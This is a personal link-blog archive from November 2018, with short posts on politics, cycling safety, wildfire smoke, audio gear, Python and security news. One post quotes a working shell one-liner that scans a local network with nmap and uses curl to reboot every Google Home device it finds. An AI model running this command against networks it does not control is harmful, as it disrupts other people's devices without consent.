Flutterby™! From 2018-11-01 to 2018-11-30

This image has been making its way around the next, and Shadow forwarded it to me, and I'm trying to find the origin of it and failing. And I don't want to make Flutterby all outrage all the time, but I wanted a place to hang Cesar Sayoc wasn't first: A list of Trump inspired attackers (up to now) for easy access somewhere.

In the process of trying to track down the original artist of that image, I ran into That Trump tank meme on Cesar Sayoc’s van was made as a joke, creator says — Illustrator Jason Heuser is “apolitical”.

“It was supposed to be a joke, and I think people are taking it seriously, which is a little nerve-wracking to me,” Heuser says. “In my mind it’s so obviously a joke.” The point, for Heuser, is to walk the line between sincerity and mockery. “Every time I create a piece of art, I want people to think, ‘Wait, is he... is he joking on this? Is this real? I don’t know.’”

Obviously it's getting harder and harder to distinguish between satire and sincerity, and the last decade and a half have been filled with assertions that irony is dead, but.... back in my 20s I scoffed heavily at the postmodern notion that the context in which messages are heard is more important than the message. Now I embrace it entirely, and it's given me a lot of pause...

[ related topics: Photography Erotic Art & Culture Marketing ]

Yeah, it's kinda click-bait, but Gloria Brame is quoted in it: Incredible health benefits to masturbating — Here's how an orgasm a day can keep the doctor away.

Of course given the state of medicine and studies these days it's unsurprising that most of the studied health benefits are for men. sigh. We need more studies for women.

[ related topics: Quotes Erotic Sexual Culture Health ]

Felice House's "Re-Western" series of paintings, re-imagining old cowboy poses and imagery with women.

[ related topics: Real Estate ]

When I worked in Santa Rosa, I'd either get on the road bike and pound out the 17 or 18 miles to work up Stony Point Road, or, taking about the same time, grab the bus up to downtown Santa Rosa and ride west to Sonic.

At first I took the Prince Memorial Greenway Trail to the Joe Rodota trail, but after a while I decided that taking the surface streets and sharing the road with cars was a better route.

The obvious advantages were that I didn't have to ride around the numerous folks camping, or passed out on, the trail. I didn't have to figure out how I was going to get by the raving angry meth user. Didn't interrupt the stoner hacky-sack games.

But the other advantage was that as part of traffic I could ride faster, didn't have to stop at every street crossing to make sure I wasn't gonna get right-hooked, didn't have to try to account for the awful intersection designs that dropped high speed bike traffic out where drivers weren't expecting them.

I've got some personal experience in interactions between car and driver, and when I complain that if you want to kill someone and get away with it you should use a car that's really kind of unfair, because punishing the specific driver won't help much: That driver is gonna be replaying the collision in their mind in the middle of the night for the rest of their life, wondering what could have been done differently.

Instead, what I'm pushing for is a social shift, where we start to look at all of the little places where drivers transgress as either infrastructure design failures, or things that need to be punished each and every single time. So, yeah: Bring on the traffic cameras.

At any rate, having been through this intersection a gazillion times, this is a failure of infrastructure design. The cyclist thought she had the right-of-way, but the way that infrastructure was design if she was moving any faster than a slow walk the truck driver likely never saw her.

And when pro-cycling groups make arguments for separated infrastructure, Santa Rosa is exhibit #1 on how dedicated bicycle infrastructure can make cyclists less safe.

Bike rider fatally struck in Santa Rosa by dump truck; 3rd death in vicinity in 6 weeks

[ related topics: Drugs Interactive Drama Photography Games Bay Area Current Events Work, productivity and environment Sports Automobiles Graphic Design Machinery Pedal Power Bicycling Public Transportation Woodworking ]

We are not normally movie goers, but saw two last month: A Star Is Born (which I thought was really powerful and would love to read some more critiques of, but I wanna read critiques by people who actually apparently saw the movie which discounts a lot of the ones I've read), and, last night (to escape the one or two tricker-treaters that might actually try our neighborhood), The Hate U Give.

Parts were super powerful. Parts were to an audience that wasn't me. There were a number of plot elements that felt like a YA novel (which, hey, it was drawn from, so that's fine) that left me questioning how those things might work in the more complex reality of the real universe.

I always want to walk out of a movie feeling like I've learned something about myself and my place in the culture around me, and with some deeper questions that I have trouble articulating, and this one succeeded.

[ related topics: Movies Space & Astronomy Sociology Work, productivity and environment California Culture Aviation - Helicopters Woodworking ]

Oh, Apple. Where "- (void)drawRect:(NSRect)dirtyRect { [super drawRect:dirtyRect]; }" (vs not overriding the method) changes the appearance of a control.

[ related topics: Apple Computer ]

Washington state lawmaker Matt Shea defends advocacy for ‘Holy Army’ as Spokane sheriff refers his writings to FBI

[ related topics: Politics Writing Current Events Law Enforcement Seattle ]

Ted Cruz for Human President: https://www.tedcruzforhumanpresident.com/

RT Violet Blue® @violetblue

I'm certain absolutely no one said, "Well, if a payment processor has to pick between consensual adult sexuality or actually-murderous Nazis, I guess we're safer with the Nazis." New, by me:

Dear tech: Stop doing business with Nazis

[ related topics: Interactive Drama Invention and Design ]

The CIA's communications suffered a catastrophic compromise. It started in Iran.

According to the former intelligence official, once the Iranian double agent showed Iranian intelligence the website used to communicate with his or her CIA handlers, they began to scour the internet for websites with similar digital signifiers or components — eventually hitting on the right string of advanced search terms to locate other secret CIA websites. From there, Iranian intelligence tracked who was visiting these sites, and from where, and began to unravel the wider CIA network.

[ related topics: broadband Current Events Net Culture ]

Phoenix Insurgent @PhxInsurgent

Right wingers five years ago: "THE GOVT IS GOING TO USE THE MILITARY TO ROUND UP PEOPLE AND PUT THEM IN CAMPS 😡😡😡!!!"

Right wingers today: "THE GOVT IS GOING TO USE THE MILITARY TO ROUND UP PEOPLE AND PUT THEM IN CAMPS 😍😍😍!!!"

This thread: RT: Nazgul Queen @MICE e130 🔞 @celineorelse:

Sexual fantasies are, for many, many people, inherently transgressive. That's how the human psyche works: it takes the shit you're afraid of, the shit that hurts you, the shit you're ashamed of wanting, and it mixes it all up into a high octane bonerade.

[ related topics: Erotic Sexual Culture ]

Texas hunters who accidentally shot each other blamed undocumented immigrants, police reveal

[ related topics: Current Events Law Enforcement ]

As everyone's up in arms over 10 days worth of asylum seekers traveling in one group still over a thousand miles from the border, your reminder that undocumented immigrants in Texas are convicted for murders at roughly 3/4 the rate of native born citizens (6.4% of the population, 5.4% of murder convictions vs 83% of the population and 93% of murder convictions), and documented immigrants are even safer (10.4% of the population, 1.6% of murder convictions).

Wanna make Texas safer? Bring in more immigrants.

Cato Institute: Criminal Immigrants in Texas: Illegal Immigrant Conviction and Arrest Rates for Homicide, Sex Crimes, Larceny, and Other Crimes

[ related topics: Erotic Sexual Culture ]

Dog shoots man, man survives, defends dog: 'He didn't mean to do it. He's a good dog.'

[ related topics: Dogs ]

Jury Orders 'Miracle Cure Doctor' to Pay $105 Million to Cancer Patient

A former patient testified that she paid thousands of dollars for massages, colonic therapy and baking soda infusions at Young's "Miracle Retreat Center"

[ related topics: Psychology, Psychiatry and Personality Health Current Events ]

Saving 9 GB of RAM with Python’s _slots_.

Interesting: Python normally keeps an objects attributes in a hash map, this forces it to use a less dynamic structure, but if you have lots of small objects it saves a lot of RAM.

Mostly, though, this North Bay Python has been a reminder that you should probably be starting that project in a real language, just in case it grows into something useful...

[ related topics: Interactive Drama Law Monty Python California Culture Maps and Mapping Databases Gambling Python ]

I ducked out of this year's North Bay Python early yesterday evening, but everyone said that this was a talk worth watching: Better Web Scraping Through Reverse Engineering AJAX API calls (YouTube), but could be characterized as "ordering salad with Emacs".

[ related topics: Movies Monty Python California Culture Python ]

'No Blame'? ABC News finds 17 cases invoking 'Trump' in connection with violence, threats or alleged assaults

[ related topics: Politics Current Events ]

I may have to run down to Thistle Meats... Nonelvis posted a recipe for duck prosciutto

The standard for square dance amplifiers is Hilton Audio. They make a basic bomb-proof amplifier that has 4 mic inputs (though the impedance on them is kinda weird, so they work better if you use their mic cables, which provide an on-mic volume control and a mute switch).

But I use powered speakers (QSC K-8s), and find the sound from the Hilton amps is optimized for voice, which makes things sound kinda like a long-distance phone call. Great for "dancers have to hear my calls", but I aspire to better musical sound at my events (to the point that I've built collapsible frames with moving blankets to try to create some echo dampening that we put up in boomier venues).

So I've been fantasizing about building my own multi-input mixer.

I also occasionally call at venues with built-in speakers, and need an amp to drive those.

In the "encouraging bad life choices" department, IEEE Spectrum: Build Your Own Professional-Grade Audio Amp on the Sort of Cheap links to building your own class-D power amplifier, but then points out that the Texas Instruments TPA3250 power amp can be gotten assembled on a eTPA3250-2CH-50W val board from 3e Audio.

Pair it with an Xkitz XAPS-500W power supply fed by a transformer or a switching power supply (several examples in the article), and a few connectors and a little solder later you've got a total harmonic distortion plus noise (THD) < 0.0025% at 20 watts into a 4 Ohm load at 1KHz.

I mean, sure, it won't drive the 200W sustained of the Hilton, more like 130W peak, but if I need that much power I'll drag out my own speakers anyway...

[ related topics: Interactive Drama Music Consumerism and advertising Work, productivity and environment ]

Since I'm working on my voice, I thought this was interesting about music practice: What it's like to audition at juilliard when you'e 11. But I thought the successor article about being a young dedicated cello player was interesting when thinking about privilege and opportunity and support...

[ related topics: Music Weblogs Work, productivity and environment ]

Novato police: School shooter claim was bogus

“Weaponizing the police with false allegations such as those in this case was not only a travesty for the accused boy but a gross waste of scarce resources that unnecessarily put our community on edge,” police Chief Adam McGill said in a statement released by the department.

A lot of outlets are making hay over Senate Judiciary Committee Chuck Grassley referring Judy Munro-Leighton for prosecution after she admitted fabricating her complaints against now-Justice Kavanaugh:

Sen. Chuck Grassley tells the Justice Department that Judy Munro-Leighton contacted his committee in October and claimed she wrote the letter, which arose during Kavanaugh’s confirmation process. The Iowa Republican says that under questioning from the committee, she said she never met Kavanaugh and didn’t write the letter.

Grassley previously asked for a criminal investigation of Julie Swetnick, and her attorney, Michael Avenatti, I haven't seen additional information on that.

[ related topics: Children and growing up Politics Law Law Enforcement Community Personal Lubricant ]

Anti-news, but just putting this someplace handy so I can find it: NPR FACT CHECK: Migrants Are Not Overwhelming The Southwest Border

[ related topics: Current Events ]

Andrew Marzoni in the Washington Post: Academia is a cult:

But I had to climb only so far up the ivory tower to recognize patterns of abuse that I thought — in my new, secular life — I had left behind. Because academia, I slowly realized, is also a cult.

[ related topics: Microsoft Invention and Design ]

ꓘamerka — Build interactive map of cameras from Shodan

TL;DR

Script creates map with cameras based on your geolocation or exact address. It uses Shodan API to find cameras, Geopy to find address and measure distance, and Folium to draw a map.

https://github.com/woj-ciech/kamerka

[ related topics: Photography Maps and Mapping ]

Person in unicorn costume works out on the gymnastics bar.

[ related topics: Sports ]

Wall Street Journal: Amazon Plans to Split HQ2 Evenly Between Two Cities.

King Solomon was unavailable for comment...

[ related topics: Books Economics ]

Childhood obesity linked to air pollution from vehicles '

Longitudinal associations of in utero and early life near-roadway air pollution with trajectories of childhood body mass index

A two-standard deviation difference in first year of life near-road freeway NO_x exposure was associated with a 0.1 kg/m² (95% confidence interval (CI): 0.03, 0.2) faster increase in BMI growth per year and a 0.5 kg/m² (95% CI: 0.02, 0.9) higher attained BMI at age 10 years.

https://doi.org/10.1186/s12940-018-0409-7

[ related topics: Children and growing up Nature and environment ]

So Australia put together a "My Health Record" thing that sounds like it was really poorly thought-out: My Health Record: The Case For Opting Out.

Uptake as opt-in was slow, so they went opt-out. My Health Record system crashes as Australians rush to opt out.

[ related topics: Politics Health Law ]

Solid state of fear: Euro boffins bust open SSD, Bitlocker encryption (it's really, really dumb) — Security experts frantically facepalming at stupid design

A paper [PDF] drawn up by researchers Carlo Meijer and Bernard van Gastel at Radboud University in the Netherlands, and made public today, describes these critical weaknesses. The bottom line is: the drives require a password to encrypt and decrypt their contents, however this password can be bypassed, allowing crooks and snoops to access ciphered data.

Seems to impact several models of Crucial and Samsung SSDs, and Bitlocker.

There's also the more general problem that architecture should allow unencrypted data on as few external buses as possible, so any solution which puts the encryption in the disk hardware is a bad idea. But this is pretty much dong nothing.

[ related topics: Graphic Design Cryptography Currency Education Architecture Handicaps & Disabilities Public Transportation hubris ]

Donald Trump: "The Democrat plan would obliterate Obamacare." (Twitter video).

Related: Eric Trump: Obama has a ‘personal problem’ with my dad

The president's son also complained that Obama was "taking credit for a lot of my father's accomplishments."

[ related topics: Video ]

The Strangest Form of White Flight — The wealthy residents of Eagle's Landing are voting Tuesday on whether to secede from the metro Atlanta city of Stockbridge, just after a black mayor and an all-black city council took office. So much weirdness about this story.

“I serve on the Henry County zoning board,” said Consiglio, “and so I kept seeing all of these places like Bojangle’s, Waffle Houses, dollar stores, and all this going up in our county. And I was like, why can’t we get a Cheesecake Factory, or a P.F. Chang’s or a Houston’s? We have areas that have high incomes, so what’s the deal?”

[ related topics: Aviation Currency Race Real Estate Dan & Charlene's July 2003 San Juan Trip ]

Got a message from 413-829-0127, SMS thread in the comments...

This weekend I went to North Bay Python. It's a great tech conference, walking distance from home, but was essentially away for the weekend. I came home on Sunday evening, Charlene was doing something, the phone was ringing, I went to pick it up and she shook her head and said "Don't answer it, it's been like this all weekend."

(Let the record show I did answer it. My bad.) One of the calls that Petalumans were getting showered with was a nasty attack against D'Lynda Fischer, one of the council candidates. The attack was presumed to have come from the Michael Regan campaign, because there were 3 candidates viable for the 3rd council slot, and his politics are the most orthogonal to the other two. And he's generally been associated with the folks who tend toward such things.

We were at an election night party last night, and somewhere around 8:30 mashed reload on the Sonoma County Registrar of voters web site, and with about 12k absentee ballots counted the results showed Michael Regan in 3rd place (for 3 slots), with D'Lynda and Dennis pretty much tied at 4th. This morning, with a little over 17k total ballots counted (in a city whose total population is 58k) D'Lynda has a roughly 100 count lead, 14.1% to Regan's 13.9%.

My guess is that the nasty politics backfired and motivated late voters. Seems like we might be entering into a new era of politics in the meta-game.

[ related topics: Politics Games Invention and Design Monty Python California Culture Conferences Gambling Python ]

Your regular reminder that BGP hijacking is still a thing and you should be using end-to-end encryption for everything because you never know where your Internet traffic is going to go...

Strange snafu misroutes domestic US Internet traffic through China Telecom

[ related topics: Net Culture Cryptography ]

Motel 6 Agrees To Pay Millions After Giving Guest Lists To Immigration Authorities

[ related topics: Travel ]

Markov chains are weird.

[ related topics: Photography ]

Pretty much sums up the caravan: The Nib — Sneak Attack

12 dead in the worst shooting in the United States in two weeks (Actually, I guess 12 deaths makes it worse than the Pittsburgh Synagogue shooting). Including a good guy with a gun. A sheriff’s deputy was about to retire. Instead, ‘he died a hero’ in Thousand Oaks.

12 people killed, including sheriff’s deputy, in ‘horrific’ California bar shooting

The Marine Corps said Long served between August 2008 and March 2013. He served as a machine gunner in Afghanistan from November 2010 to June 2011 and became a corporal two months later. Dean said Long lived in Newbury Park, Calif., a town near Thousand Oaks. Police have had “several contacts” with Long over the years, Dean said, most of them for minor events including traffic accidents.

In April, deputies were called to Long’s home for a disturbance call, Dean said.

White male with mental illness problems and a history of domestic violence, then.

[ related topics: Religion Law Enforcement California Culture Guns Race ]

Could've sworn I'd linked this previously, but if so it bears repeating: Ken Cheng @kenchengcomedy:

terrorism is one of the only areas where white people do most of the work and get none of the credit

[ related topics: Interactive Drama Work, productivity and environment Race ]

Man without pants falls through Waffle House ceiling

A Man Without Pants Fell Through the Roof of a Waffle House During a Botched Burglary, Police Say

"Man Without Pants" is going to be the name of my cover band, but we're gonna have to update the lyrics to "Safety Dance".

[ related topics: Nature and environment Law Enforcement Clothing Real Estate ]

SPLC lawsuit: Family detained, searched in Mississippi because they ‘looked’ Latino

Remember all of those Belisarius Productions and Glen A. Larson TV shows back in the '80s where an out of control Southern sheriff was the villain? Those were not supposed to be aspirational.

[ related topics: Technology and Culture Sociology Current Events Television ]

Can't see across the valley now.

Assert yourself - some notes on programming defensively and hiding bugs. Some good stuff to think about, especially as we're moving into a world of high failure probablistic systems (eg: distributed and networked)

[ related topics: Software Engineering ]

Damn it, Apple, what coordinate space are you using for the origin of NSDraggingImageComonent.frame?

[ related topics: Apple Computer Space & Astronomy ]

Jupyter Notebooks of all sorts of climate data! http://openclimatedata.net/

[ related topics: Global Warming ]

LA band Threatin faked a fanbase to land a European tour that no one attended:

To do it, the band’s frontman and leader, Jered Threatin, posed as a nonexistent booking agent / promoter to land the gigs, used faked live footage of allegedly packed shows in L.A., bought Facebook likes, event RSVPs and YouTube views and lied about ticket sales numbers to swindle venue owners and talent buyers into taking on the shows.

And then, of course, nobody showed up, because their Facebook followers were all fake accounts from Brazil, and ...

[ related topics: Theater & Plays Television Real Estate ]

Exploit developer discovers security vulnerability in VirtualBox and publishes a full guide to exploiting it.

Zelenyuk has published full details of the exploit on GitHub, and says that the vulnerability affects VirtualBox 5.2.20 and earlier. The only requirements to take advantage of the vulnerability are that the network card is an Intel PRO/1000 MT Desktop (82540EM), and that VirtualBox is set to NAT mode.

Seems pretty specific, but careful...

[ related topics: broadband Douglas Adams ]

VentureBeat: Mapping tech adds truth to election debate. Some ramblings from Eric Gundersen, founder of MapBox.

[ related topics: Maps and Mapping ]

Using Wi-Fi to “see” behind closed doors is easier than anyone thought:

Good guy with a gun shot by police: Officer shoots, kills armed security guard outside south suburban bar

After security asked a group of drunken men to leave Manny’s Blue Room Bar around 4 a.m. Sunday, witnesses said someone came back with a gun and opened fire. Security returned fire, and according to witnesses, 26-year-old armed security guard Jemel Roberson apprehended one of the men involved outside.

"He had somebody on the ground with his knee in back, with his gun in his back like, 'Don’t move,'" witness Adam Harris said.

No points for guessing the color of the security guard's skin.

[ related topics: Law Enforcement Pyrotechnics Guns ]

Still breathing smoke...

[ related topics: Photography ]

Police: Woman remotely wipes phone in evidence after shooting

Police believe Juelle L. Grant, 24, of Willow Avenue [Schenectady, NY], may have been the driver of a vehicle involved in an Oct. 23 drive-by shooting on Van Vranken Avenue, near Lang Street, so they obtained her phone, according to police allegations filed in court. No one was injured in the shooting.

After police took her iPhone X, telling her it was considered evidence, "she did remotely wipe" the device, according to police.

On the one hand, this is pretty clearly destruction of evidence. On the other hand, what if this was triggered by some sort of deadman switch... If the phone gets wiped because you didn't stop the wipe process, does that count?

[ related topics: Interactive Drama Law Enforcement iPhone ]

And it's gotten worse again

[ related topics: Photography ]

Reddit: Most of What You Read on the Internet is Written by Insane People:

Edit: I guess my tone-projection is off. A lot of people seem to be put-off by my usage of the word "insane." I intended that as tongue-in-cheek and did not mean to imply that any of them literally have diagnosable mental illnesses. I have a lot of respect for all of the individuals I listed and they seem like nice people, I was just trying to make a point about how unusual their behavior is.

[ related topics: Net Culture ]

It ended in 1767, yet this experiment is still linked to higher incomes and education levels today:

Jesuits arrived late to the Guarani people’s homeland where Brazil, Paraguay and Argentina meet. But their missions thrived until 1767, when King Charles III of Spain expelled all Jesuits from the Spanish Empire.

Yet even 250 years later, people living near the ruins of Jesuit missions complete 10 to 15 percent more years of education and earn 10 percent more than residents of equivalent towns without missions, according to a study published in the Quarterly Journal of Economics.

[ related topics: History Education Economics ]

Weed Seems to Protect Your Liver From the Effects of Hard Drinking

Cannabis use is associated with reduced prevalence of progressive stages of alcoholic liver disease. https://doi.org/10.1111/liv.13696

Bonus: Weed May Play a Role in Weight Loss — Studies have shown that cannabis users are less obese than nonusers. Scientists are trying to figure out why.

[ related topics: Model Building ]

Visibility a little better

[ related topics: Photography ]

Visibility a little better this morning.

[ related topics: Photography ]

It's actually bright out, and we can almost see across the valley. Err... With picture this time.

[ related topics: Photography ]

More smoke reference

[ related topics: Photography ]

Is broadband responsible for falling teenage pregnancy rates? — Researchers find corresponding decline in STI transmission as high-speed internet access rolls out

Melanie Guldi from the University of Central Florida and Chris Herbst from Arizona State University conclude that “at least 13% of the total decline in the teen birth rate between 1999 and 2007 can be explained by increases in high-speed internet access” in the US.

Looks like the paper is at https://link.springer.com/article/10.1007/s00148-016-0605-0 with an earlier version at http://ftp.iza.org/dp9076.pdf

[ related topics: broadband Net Culture Pop Culture Education ]

New York Times: Delay, Deny and Deflect: How Facebook’s Leaders Fought Through Crisis. How Facebook pushed the "funded by Soros" conspiracy theories, killed sex workers with FOSTA and SESTA, pushed anti-Google and Apple stories on the NTK Network, and more.

[ related topics: Apple Computer Erotic Sexual Culture broadband Invention and Design Conspiracy New York Race Government ]

Card skimming malware removed from Infowars online store — Infowars online store hit by brief Magecart incident that lasted around 24 hours. Less than 1,600 users may have been affected.

Infowars Infected With Credit Card-Stealing Malware, Alex Jones Claims It’s a Conspiracy

[ related topics: Conspiracy Government ]

Today in things that could have been phrased better: Seatbelts are awesome, but let's put a concerted effort towards not getting into situations where they'd save our lives.

[ related topics: Photography ]

Feeling like there's been a sea change: The number of bitcoin and 419 and phishing scams in my spam inbox is being eclipsed by the LinkedIn recruiter requests...

[ related topics: Spam Monty Python ]

And it still looks ugly here

[ related topics: Photography ]

Can't see across the valley

[ related topics: Photography ]

Homeless veteran and New Jersey couple arrested in GoFundMe scam.

According to Coffina, McClure texted a friend less than an hour after the GoFundMe campaign launched, saying the story was "completely made up." McClure did not run out of gas on an I-95 ramp and Bobbitt did not offer his last $20 to help her. In the text exchange, McClure told her friends to "shh about the made up stuff," Coffina said.

[ related topics: Invention and Design moron Current Events ]

Sucks again

[ related topics: Photography ]

Not even close to across the valley, even though the sky is relatively clear

[ related topics: Photography ]

I Found the Best Burger Place in America. And Then I Killed It.

Some good musings on instant fame and "best of"s...

MeFi thread

[ related topics: tolkien Food ]

'I’m Possibly Alive Because It Exists:' Why Sleep Apnea Patients Rely on a CPAP Machine Hacker

An Australian hacker has spent thousands of hours hacking the DRM that medical device manufacturers put on CPAP machines to create a free tool that lets patients modify their treatment.

Visibility of even the grain elevator just across the river is obscured

[ related topics: Photography ]

“Is he going to throw paper towels at us?” https://www.chicoer.com/2018/1...amp-fire-evacuees-community/amp/

[ related topics: Pyrotechnics Community ]

Smokey sunset. AQI still over 200 in Vallejo.

[ related topics: Photography ]

Moon through the smoke

[ related topics: Photography ]

I'm not sure about that cat.

[ related topics: Photography ]

Disgraced former Judge Lance Mason accused of fatally stabbing estranged wife in Shaker Heights, sources say

Back in 2014 he punched his wife 14 times and slammed her head against the dashboard of his car 5 times. There were many important people who vouched for wife-beater and former judge Lance Mason, and when he was sentenced to 2 years (of which he served 9 months) the prosecutor diminished his crimes

"I think this would be an example of sometimes how good people make bad decisions or do bad things," said prosecutor Maggie Troyer.

Dude was clearly prepared for bad things: When police searched his home after that initial attack the Cleveland judge accused of beating wife had 2,500 rounds of ammunition, semi-automatic rifles, sword and smoke grenades in home.

Domestic violence is not a one-time thing.

[ related topics: Law Law Enforcement Automobiles Marriage ]

I am willing to accept all sorts of foibles in square dancers, but witnessing to me about flat earth theories after I do Monte Python's Galaxy Song as a singing call is pushing my bounds a little too far.

[ related topics: Monty Python Python ]

Charlene and I went by Friedman's, our local big box home improvement retailer, to look at what HardiPlank in 4x8 sheets felt like. We had trouble finding it on the racks, asked for help,. the guy helping us had trouble, finally we discovered that another product had been put in the wrong slot, and there followed a hilarious radio exchange as it was confirmed that there should be some in stock, another person was sent to find it, they swore up and down that it wasn't there, which led to escalations where, eventually, we ended up walking with the guy who was helping us to find that ... well ... 3 forklifts later.

Anyway, as I was laughing myself silly over the hapless protagonist in the latest episode of This Kaiju Life trying to elicit useful information from his coworkers, I was very much reminded of our experiences today.

(Yes, we did eventually get to see our product, and we got a hell of a lot of entertainment and laughter out of the process...)

http://kaiju.libsyn.com/

[ related topics: Economics ]

Okay, this is bloody hilarious. So there's this Neo-Nazi group called the Proud Boys. As whacko cults do, they've taken to sexual shaming as a means of control of their members, culminating in "No Nut November", some sort of "don't masturbate in November" thing. And, of course, "cryptocurrencies" have tanked in November.

One Twitter user brings the graphs and charts: "Cryptocurrency's entire economy is based upon libertarians paying for feet/fetish content online and Bitcoin completely tanking during #NoNutNovember proves this"

https://twitter.com/Carrion_Crawl/status/1065316166388768768

[ related topics: Erotic Sexual Culture Economics ]

Breitbart: Good Guy with a Gun Kills Mall Shooter ‘Within Seconds’ of Shots Being Fired

Reality: Police: Man shot, killed at Riverchase Galleria likely did not fire rounds, gunman remains at large.

[ related topics: Politics Law Enforcement Pyrotechnics Guns ]

I always aspire to be up to no good, but somehow I never quite make it up that high.

If you wonder why we keep voting for bond measures to further subsidize the 1.5% of the California economy which uses 80% of the water, this looks like it'll be worth a watch: Kickstarter for Pistachio Wars: Killing California for a Snack Food:

A groundbreaking documentary about Beverly Hills billionaires, marketing madness, water privatization, and...war with Iran.

Source on the 1.5%, Via Nils Gilman

[ related topics: Interactive Drama Movies Food History Consumerism and advertising California Culture Marketing Economics ]

I love one-liner command shell scripts, especially when they're useful: Google Home (in)Security:

TL;DR: An undocumented API in Google home devices is easily exploitable.

This command will reboot any on your local network:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://%:8008/setup/reboot

[ related topics: broadband ]

No smoke!

[ related topics: Photography ]

RT Kevin Beaumont 🥴 Verified account @GossiTheDog:

NPM library with 2m installs has a backdoor, looks to be some kind of Trojan (stealer?)

https://github.com/dominictarr/event-stream/issues/116

The original author seems to have abandoned the project, someone came along and said they wanted to do something with the project, so: "...he emailed me and said he wanted to maintain the module, so I gave it to him. I don't get any thing from maintaining this module, and I don't even use it anymore, and havn't for years."

[ related topics: Language Books virus ]

It's been over a week since my "Facebook sweepstakes" scammer SMS correspondent and I parted over irreconcilable differences, and I almost miss the occasional oddly phrased texts trying to lure me in.

Today's rabbit hole: USDA Economic Research Service: Food Markets & Prices. Try clicking on the Food Prices, Expenditures & Costs and compare the ratio of farm to retail prices of things like lettuce vs milk. Amazing how much less markup there is in the delivery chain of the latter vs the former.

[ related topics: Food Economics ]

"What's with these self-proclaimed 'refugees' waving an ally's flag?" says the guy with decal of a flag of a historical enemy of the United States on his pickup truck.

[ related topics: Machinery ]

Video shows explosion at border agent's gender-reveal party that sparked Arizona wildfire

Before the fire was over, it had burned 47,000 acres and cost $8.2 million to extinguish, with nearly 800 firefighters battling the blaze.

To be clear, this wasn't about revealing the border patrol agent's gender, it was about his wife's pregnancy.

But dumbass isn't a gender.

[ related topics: Current Events Television Pyrotechnics Video Marriage ]

In the Metafilter thread to a link to Dawn of Dianetics: L. Ron Hubbard, John W. Campbell, and the Origins of Scientology, an excerpt adapted from Alec Nevala-Lee’s book, Astounding, there was a comment:

This is what I can't get over here: Campbell was actually a trained physicist, (well, a BS degree, but they didn't just hand those out in the day), but he was capable of conceiving of this concoction of ad hoc speculation and uncontrolled amateur experiments as a "science of the mind", superior to the actually existing discipline of psychology?

I did not go off on a long rant about how at that point in history, psychology was still the domain of Freud and Jung ripping off high society ladies, how Skinner's admonitions against anthropomorphizing humans were still in the future, about how, hell, it took 'til what, the '90s, for the first extremely shakey evidence for CBT to start to show that psychology could actually have a positive effect, and even then it was scant.

Whereas those of us who've been through some of the experiences often passed off as "cults" sometimes point to those weekends (because, admittedly, for it not to be "a cult" it's one of those things you can experience and walk away from) as amazingly transformative, and cusps in our lives.

Anyway, it's with that in mind that I link to The Art of Stimming — Applied behavioral analysis has left a legacy of traumatized kids. Why is it still the standard of treatment?. In this case it's written by a parent of a kid with Down syndrome, but it applies equally well to autism.

[ related topics: Children and growing up Books Psychology, Psychiatry and Personality Scientology Law Art & Culture Education ]

I'm behind on posting links from Shadow, so I'm just gonna toss this video up and watch it later: The Baboon That Controlled a Railway for 9 Years

[ related topics: Movies Video Public Transportation ]

Joint Base Low Morale:

It shouldn’t be a shock to anyone that a whistle-blower has come forward at Madigan Army Medical Center (MAMC). This situation is due, in part, to the fact that soldiers there now have much more ready access to mental health care. JBLM added Embedded Behavioral Health facilities on base after the last round of major deployments for the Brigade Combat Teams there, in addition to a facility to assist soldiers facing MED Boards.

[ related topics: Health Robotics Current Events Embedded Devices ]

Nostalgia Alley has the coolest signage

[ related topics: Photography ]

For framing innocent black men, a Biscayne Park Florida police chief gets three years in prison

Raimundo Atesiano, the former Biscayne Park police chief who directed his officers to frame innocent black men for a series of unsolved burglaries, admitted he wanted to appease community leaders and polish the village’s property crimes record.

Even in a small village of about 3,000 residents, the pressure was just too much, he said.

[ related topics: Current Events Law Enforcement Community ]

RT Rick Pescatore, DO @Rick_Pescatore

It’s that time of year again.

As a physician+proponent of evidence in medicine, I feel compelled to again share this very important article which <absolutely> proves that ManFlu is real. Men, share with your fairer halves-they know not true suffering.

https://journals.plos.org/plos...d=10.1371%2Fjournal.ppat.1002149

The journal article is Elevated 17β-Estradiol Protects Females from Influenza A Virus Pathogenesis by Suppressing Inflammatory Responses Dionne P. Robinson, Maria E. Lorenzo, William Jian, Sabra L. Klein

[ related topics: virus ]

RT andi zeisler @andizeisler:

“Shot himself in the meat department” would really have sufficed fine here

About @Newsweek tweeting:

Arizona man carrying handgun in waistband shoots himself in the groin in Walmart meat department https://www.newsweek.com/arizo...ts-himself-groin-walmart-1236287

". . . . . . . ." --John 4:33

Smart Home Surveillance: Governments Tell Google's Nest To Hand Over Data 300 Times

Don't let a third party hold unencrypted data that you don't mind being public

‘It’s still a blast beating people’: St. Louis police indicted in assault of undercover officer posing as protester

In the weeks afterward, prosecutors say, the three police officers gave false statements about the arrest and even directly contacted Hall to try to dissuade him from pursuing charges. Myers also destroyed Hall’s cellphone, prosecutors say. Colletta, who was romantically involved with Hays, also lied to investigators about the assault, according to the indictment.

[ related topics: Law Enforcement ]

The real pizzagate: How a future Trump Cabinet member gave a serial sex abuser the deal of a lifetime:

His [Jay Lefkowitz] client, Palm Beach multimillionaire Jeffrey Epstein, 54, was accused of assembling a large, cult-like network of underage girls — with the help of young female recruiters — to coerce into having sex acts behind the walls of his opulent waterfront mansion as often as three times a day, the Town of Palm Beach police found.

That article is, of course, about a meeting with then Miami prosecutor Alexander Acosta.

Even from jail, sex abuser manipulated the system. His victims were kept in the dark.

[ related topics: Erotic Sexual Culture broadband Nature and environment Current Events Law Enforcement Archival Home Improvement ]

Everyone else can hang it up and go home now. Small Town Titans: You're A Mean One, Mr Grinch (YouTube).

Track is available at https://smalltowntitans.com/music

[ related topics: Movies ]